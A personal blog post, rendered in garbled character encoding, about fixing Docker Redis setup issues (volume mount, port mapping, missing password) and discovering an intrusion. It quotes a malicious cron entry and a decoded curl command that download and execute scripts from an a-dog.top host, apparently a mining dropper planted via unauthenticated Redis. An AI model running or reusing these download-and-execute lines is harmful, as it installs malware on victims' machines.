2023. 4. 2. 12:41γπκΈ°λ‘
λͺ©μ°¨
- κ°μ : μ¬μ©ν λͺ λ Ήμ΄
- 1. `-v /path/on/host:/data` μ΅μ λλ½
- 2. ν¬νΈ ν¬μλ© μ΅μ λλ½
- 3. ν€κ° μ¬λΌμ§ μ΄μ (feat. ν΄νΉ?)
- κ²°λ‘
νκ²½
ubuntu version: 18.04
docker version: 23.0.1
redis image version: latest
κ°μ
λ컀μμ λ λμ€λ₯Ό μ¬μ©ν λ κ²ͺμ μλ¬ μ¬νμ κΈ°λ‘νμ΅λλ€.
1. λ λμ€μ μ μ₯λ λ°μ΄ν°κ° μ μ€λκ±°λ
2. μ€νλ§λΆνΈ μλ²μμ λ λμ€λ‘ μ μμ λͺ»νκ³
3. μ μ₯ν ν€κ° μ¬λΌμ§κ³ , "backup1" μ΄λ μλ¬Έμ ν€κ° λνλ¨.
κ²°λ‘ λΆν° λ§μλ리면, λ컀μμ λ λμ€λ₯Ό μ€νν λ λͺ λ Ήμ΄λ§ μ λλ‘ μ³€μΌλ©΄ ν΄κ²°λ λ¬Έμ μμ΅λλ€.
μλλ μ²μ λ λμ€λ₯Ό μ€νν λ μ¬μ©ν (μλͺ»λ) λͺ λ Ήμ΄λ‘, μ΄λ€ μλ¬λ₯Ό λ§λ, μ΄λ»κ² ν΄κ²°νλμ§ κ³Όμ μ μ€λͺ νκ² μ΅λλ€.
// κ°μ μ΄ νμν μ€μΉ λͺ
λ Ήμ΄
$ docker run --name my-redis -d redis redis-server --appendonly yes
1. `-v /path/on/host:/data` μ΅μ λλ½
λ¬Έμ : 컨ν μ΄λ μ’ λ£ ν μ¬μμ μ, κΈ°μ‘΄ λ λμ€μ μ μ₯ν΄λ λ°μ΄ν°κ° 보쑴λμ§ μμ.
Redis κ° λ컀 컨ν μ΄λ λ΄μμ μ€νλ κ²½μ°, ν΄λΉ 컨ν μ΄λκ° μ€μ§λκ±°λ μμ λλ©΄ λ λμ€μ μ μ₯λ λͺ¨λ λ°μ΄ν°λ μμ€λ©λλ€. μ΄λ₯Ό λ°©μ§νκΈ° μν΄ λ³Όλ₯¨ λ§μ΄νΈλ₯Ό μ¬μ©νλ©΄ Redis 컨ν μ΄λκ° νΈμ€νΈ λ¨Έμ (ubuntu)μ νμΌ μμ€ν μ λ°μ΄ν°λ₯Ό μΈ μ μμ΅λλ€. μ¦ μ»¨ν μ΄λκ° μ€μ§/μμ λΌλ λ°μ΄ν°λ₯Ό μ§μν μ μμ΅λλ€.
컨ν μ΄λ μ€ν λͺ λ Ήμ΄μμ -v μ΅μ μ μ¬μ©νλ©΄ λ³Όλ₯¨ λ§μ΄νΈλ₯Ό μ§μ ν μ μμ΅λλ€.
Dockerμμ λ³Όλ₯¨ λ§μ΄νΈλ₯Ό μ§μ νλ©΄ Redis 컨ν μ΄λκ° νΈμ€νΈ λ¨Έμ μ νμΌ μμ€ν μ λ°μ΄ν°λ₯Ό μ μ₯ν μ μμ΅λλ€.
docker run -v /path/on/host:/data --name my-redis redis redis-server --appendonly yes
v μ΅μ
μμ /path/on/hostλ Redisμ λ°μ΄ν°κ° μ μ₯λ νΈμ€νΈ λ¨Έμ μ λλ ν°λ¦¬ κ²½λ‘λ©°, /dataλ Redis λ°μ΄ν°κ° μ μ₯λ 컨ν
μ΄λ λ΄λΆμ λλ ν°λ¦¬ κ²½λ‘μ
λλ€.
v μ΅μ μ μ§μ ν΄μΌ νλ μ΄μ λ, 컨ν μ΄λκ° μ€μ§λκ±°λ μμ λ κ²½μ°μλ Redis 컨ν μ΄λκ° λ°μ΄ν°λ₯Ό μ μ§ν μ μκΈ° λλ¬Έμ λλ€. λ³Όλ₯¨ λ§μ΄νΈκ° μμΌλ©΄ 컨ν μ΄λκ° μ€μ§λκ±°λ μμ λ λ 컨ν μ΄λμ μ μ₯λ λͺ¨λ λ°μ΄ν°κ° μμ€λλ―λ‘ λ°μ΄ν° μ§μμ±μ΄ μ€μν νλ‘λμ μ ν리μΌμ΄μ μμλ λ¬Έμ κ° λ μ μμ΅λλ€.
docker inspect [container-name]
λͺ
λ Ήμ΄λ‘ νμΈνλ©΄, λ³Όλ₯¨ λ§μ΄νΈ μ€μ μ΄ μ μ΄λ€μ§ κ²μ λ³Ό μ μμ΅λλ€.
2. port Forwarding μ΅μ λλ½
λ¬Έμ : μ€νλ§λΆνΈ μλ²μμ λ λμ€λ‘ μ μμ΄ λΆκ°λ₯
# (1)
docker run -v /path/on/host:/data --name my-redis2 redis redis-server --appendonly yes
# (2)
docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes
μ λͺ λ Ήμ΄λ‘ 2κ°μ λ λμ€ μ»¨ν μ΄λλ₯Ό μ€ννλ©΄ μλμ κ²°κ³Όκ° λμ΅λλ€.
my-redis 컨ν μ΄λλ -p μ΅μ μΌλ‘ ν¬νΈν¬μλ©μ μ€μ ν λ°λ©΄, my-redis2 컨ν μ΄λλ -p μ΅μ μ΄ λλ½λΌ ν¬νΈν¬μλ© μ€μ μ΄ μμ΅λλ€.
my-redis2 컨ν μ΄λλ§ μ‘΄μ¬νλ€λ©΄ μΈλΆμμ 6379 ν¬νΈλ‘ μ μμ μλν΄λ, λ λμ€ μ»¨ν μ΄λλ‘ λ§€νμ΄ λμ§ μκΈ° λλ¬Έμ μ μμ΄ λΆκ°ν©λλ€. λλ¬Έμ μλ λͺ λ Ήμ΄μ²λΌ -p μ΅μ μΌλ‘ ν¬νΈν¬μλ©μ λ°λμ λͺ μν΄μΌ ν©λλ€.
docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes
3. ν€κ° μ¬λΌμ§ μ΄μ (feat. ν΄νΉ?) -> λ λμ€ ν¨μ€μλ λ―Έμ€μ
λ λμ€μ μ μ₯ν ν€κ° μ§μμ μΌλ‘ μ¬λΌμ§λ λ¬Έμ κ° μμμ΅λλ€. μ²μμλ λ³Όλ₯¨ λ§μ΄νΈ μ€μ μ΄ μλͺ»λ μ€ μμμΌλ ν΄λΉ λΆλΆμ λ¬Έμ κ° μμμ΅λλ€. keys * λͺ λ Ήμ΄λ‘ νμΈν κ²°κ³Ό μ μ₯ν ν€κ° μ¬λΌμ§ λμ "backup1" μ΄λ ν€κ° λ±μ₯νμ΅λλ€. (keys * λͺ λ Ήμ΄λ μ§μνλκ² λ§μ΅λλ€)
λ λμ€ λ‘κ·Έλ₯Ό νμΈνκΈ° μν΄ μ κ²½λ‘λ‘ μ΄λ ν appendonly.aof.1.incr.aof νμΌμ μ΄μμ΅λλ€.
appendonly.aof.1.incr.aof
ν΄λΉ νμΌμ μ΄λ©΄ μλμ λ΄μ©μ΄ λμ€λλ°,
@hourly root python -c "import urllib2; print urllib2.urlopen('\\s\\s.a-d\\og.t\\op/t.sh').read()" >.1;chmod +x .1;./.1
μ΄λ 컀맨λκ° λ±μ₯ν©λλ€.
ν΄λΉ λͺ λ Ήμ΄λ₯Ό chatGPT μ μ§μνμ΅λλ€.
μμ½νμλ©΄ ν¬λ‘ μ‘ μ€μΌμ€λ¬, ν΄λΉ url μμ μ μ€ν¬λ¦½νΈ λ€μ΄λ‘λ, νΉμ νμΌ(`.1`)μ μ μ₯ ν μ€ν νλ€κ³ ν©λλ€.
λν root echo λ‘ μμλλ base64 λ¬Έμλ μ¬λΏ λνλ©λλ€.ν΄λΉ μ¬μ΄νΈμμ μμ base64 λ¬Έμλ₯Ό λμ½λ© νμ΅λλ€. `curl http://kiss.a-dog.top/b2f628/b.sh(ν΄λ¦γ΄γ΄)`μ΄ μ¬μ΄νΈλ‘ μμ²μ λ³΄λ΄ b.sh μ€ν¬λ¦½νΈλ₯Ό μ€νν κ²μΌλ‘ μκ°λ©λλ€.
λΈλ‘κ·Έλ₯Ό μ°Έμ‘°νλ©΄, μ°λ¦¬μ λ λμ€ μ μ₯μλ₯Ό μ½μΈ λ§μ΄λ μ©λλ‘ μ¬μ©νλ€κ³ μΆλ‘ ν©λλ€.
κ·ΈλΌ μ΄λ»κ² μ λ° μ€ν¬λ¦½νΈκ° λ λμ€ μ»¨ν μ΄λμ μ£Όμ λ μ μμμκΉμ?
λΉλ°λ²νΈλ₯Ό μ€μ νμ§ μμκΈ° λλ¬Έμ λλ€ π
--requirepass [password] λͺ λ Ήμ΄λ₯Ό μ¬μ©ν΄ λΉλ°λ²νΈλ₯Ό μ€μ νκ² μ΅λλ€.
docker run -v /path/on/host:/data --name my-redis -p 6379:6379 redis redis-server --appendonly yes --requirepass [password]
μ€μ ν redis-cli λ‘ λ λμ€ μ»¨ν μ΄λμ μ μνλ©΄ NOAUTH μλ¬κ° λΉλλ€.
auth [password] λ₯Ό μ λ ₯νλ©΄ μΈμ¦μ΄ μλ£λμ΄ λͺ λ Ήμ΄λ₯Ό μ λ ₯ν μ μμ΅λλ€.
μ΄μ κ³Ό λ¬λ¦¬, 컨ν μ΄λλ₯Ό μ€μ§/μ¬μμνκ±°λ, λͺ μκ° νμ μ¬μ μνμ¬λ μ μ₯λ ν€κ° 보쑴λλ κ²μ νμΈν μ μμμ΅λλ€.
κ²°λ‘
λ λμ€λ₯Ό λ컀μ μ€μΉνλ©΄μ κ²ͺμ λ€μν λ¬Έμ λ₯Ό μ΄ν΄λ΄€μ΅λλ€.
1. λ³Όλ₯¨ λ§μ΄νΈ μ€μ μ λ¨μν 컨ν μ΄λ μ€μ§/μ¬μμ μ΄μ λ₯Ό λμ΄, λ λμ€ ν΄λ¬μ€ν°λ₯Ό μ€μ ν λλ κΌ νμν μ€μ μ΄λΌ μκ°λ©λλ€.
2. ν¬νΈ ν¬μλ©μ λ λμ€λ§μ λ¬Έμ λΌκΈ° 보λ¨, λ컀 컨ν μ΄λλ₯Ό μ€νν λ μ€μ μ΄ λ―Έμνλ λΆλΆμ΄μμ΅λλ€.
3. ν¨μ€μλ λ¬Έμ λ μμ§λ λλΌμ΄λ°,,, μ€μ λ‘ μ μ± μ€ν¬λ¦½νΈκ° μ μλ²μ λ±μ₯ν κ²μ΄λΌκ³€ μμνμ§ λͺ»νμ΅λλ€. jwt ν ν°μ μ¬μ©νκΈ° μν΄ redis λ₯Ό λμ νλλ°, μ μ redis μ€μ λΆν° λ€λ¦° μν μ¬λ‘λ‘ κΈ°μ΅λκ² μ΅λλ€. ν¨μ€μλ μ€μ ..νμ..κΌ βοΈ
κ²°κ³Ό) λ λμ€ μ»¨ν μ΄λλ₯Ό μ€ννκΈ° μν μ΅μ’ λͺ λ Ήμ΄μ λͺ¨μ΅μ λλ€.
docker run -v /path/on/host:/data \ # volume mount μ§μ
--name [container name] \
-p 6379:6379 \ # port forwadinr μ§μ
redis redis-server
--appendonly yes
--requirepass [password] \ # password μ§μ
ref
Docker 컨ν μ΄λμ λ°μ΄ν° μ μ₯ (λ³Όλ₯¨/λ°μΈλ λ§μ΄νΈ)
'πκΈ°λ‘' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
OpenAIλ‘ μλΉμ€ μ¬μ©μ± κ°μ νκΈ° (0) | 2023.05.29 |
---|---|
νλ‘λ©ν μ°μ€ μ€μΉ μ½μ§ (0) | 2023.05.21 |
2023-1λΆκΈ° νκ³ (0) | 2023.03.26 |
κΈλ 8κΈ° λ€μ§κΈ (1) | 2023.02.06 |
2022 4λΆκΈ° νκ³ /κΈ°λ‘ (1) | 2023.01.25 |